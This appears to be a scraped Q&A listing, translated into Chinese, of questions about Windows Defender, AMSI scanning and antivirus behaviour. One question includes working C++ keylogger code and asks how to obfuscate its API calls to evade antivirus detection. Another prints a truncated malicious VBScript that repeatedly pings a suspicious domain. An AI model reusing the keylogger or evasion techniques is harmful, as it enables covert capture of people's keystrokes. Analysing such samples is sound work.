当实现IAmsiStream以使用 Windows Defender 执行扫描时,对于大于 ~20MB 的文件,它会失败并显示Value does not fall within the expected range..
这个实现中缺少什么?
public class AmsiStream : IAmsiStream
{
private readonly Stream _input;
private readonly string _name;
private static readonly byte[] _nullPtr = new byte[Marshal.SizeOf(IntPtr.Zero)];
public AmsiStream(Stream input, string name)
{
_input = input ?? throw new ArgumentNullException(nameof(input));
_name = name ?? throw new ArgumentNullException(nameof(name));
}
public int GetAttribute(AMSI_ATTRIBUTE attribute, int dataSize, byte[] data, out int retData)
{
const int E_NOTIMPL = unchecked((int)0x80004001);
const int …Run Code Online (Sandbox Code Playgroud) 我有一个 java 程序,它在临时目录中写入一些临时文件。临时目录位于 SSD 上。写操作通常非常快。但是现在有了一些特定的样本数据,它非常非常慢,反恶意软件服务可执行文件的 CPU 很高(30% - 35%)。写入速度约为。50 KB/秒。
如果我在写循环上设置断点,反恶意软件的 CPU 将变为 0%。如果我继续,那么反恶意软件的 CPU 会变高。我可以多次重复这个。
看起来反恶意软件正在密集扫描我的临时数据。为什么会发生这种情况,我该如何预防?
我有一个使用WMIC命令的python脚本,一个文件夹(作为输入),当然它在python.exe中运行。它使用WMIC命令(WMIC.exe)创建几个输入文件并使用它们。它们都与脚本位于同一文件夹中,在此我称为“输入文件夹”。
该脚本没有任何问题,但是Windows Defender的Antimalware Service Executable在循环中开始使用10-20%的CPU。我已经读到,将使用的文件夹和进程添加到Windows Defender安全中心例外列表中,Antimalware Service Executable应该忽略它们,并且不为此使用CPU。
问题是当我添加
在例外列表中,当循环运行时,Antimalware Service Executable仍以10-20%CPU使用率运行。我应该在列表中添加更多内容,还是为什么它不能正常运行?
附加信息: 运行脚本时任务管理器显示什么
控制台窗口主机名为conhost.exe
Python称为python.exe
Windows命令处理器,名为cmd.exe
WMI命令行实用工具,名为WMIC.exe
我包括在例外列表中的所有.exe程序都作为“进程”,文件夹作为“文件夹”
我正在制作我自己的源代码混淆器,我注意到如果源代码中有这样的函数调用,一些防病毒引擎会检测到一个简单的键盘记录器。“获取ASyncKeyState”。以这个源代码为例,它是一个简单的键盘记录器主函数。
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';
while (true) {
Sleep(10);
for (int KEY = 8; KEY <= 190; KEY++)
{
if (GetAsyncKeyState(KEY) == -32767) {
if (SpecialKeys(KEY) == false) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(KEY);
LogFile.close();
}
}
}
}
}
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我想混淆“GetAsyncKeyState”名称的函数调用,以便任何 AV 都无法将其检测为键盘记录器。我对使用序号和 GetProcAddress 的函数调用的实现感到困惑。就像我在下面的代码中尝试过的一样。
typedef int(__cdecl *MYPROC)(LPWSTR);
int main(void)
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;
// Get a handle to the DLL …Run Code Online (Sandbox Code Playgroud) 我从 oceanofgames.com 下载了一款游戏。其中有一个名为“Step 2 - Extract Setup.rar”的存档。它几乎存在于从 oceanofgames.com 下载的所有游戏中。当我提取并运行它时,它被检测为恶意软件。我有 Avast,它显示此 消息
它在 %appdata%\Windows Updates 文件中创建“Windows Updates service.vbs”和“encode.vbs”。“encode.vbs”将“Windows Updates service.vbs”转换为“Windows Updates service.vbe ”,然后运行它。我解码了vbe文件。请告诉我这是在做什么。
on Error Resume Next
Sub Pause(NSeconds)
Wscript.Sleep(NSeconds*3000)
End Sub
Dim visualcpp
Set visualcpp = CreateObject("WScript.Shell")
counter = True
While counter = True
website = "www.google.com.739471594492594.windows-display-service.com"
checkstring = "ping -n 1 -w 300 " & website
status = visualcpp.Run(checkstring, 0 , True)
If status = 0 Then
counter = False
Else
Pause(21)
End If …Run Code Online (Sandbox Code Playgroud) antimalware ×5
windows ×2
c# ×1
c++ ×1
hard-drive ×1
io ×1
java ×1
malware ×1
obfuscation ×1
python ×1
vbscript ×1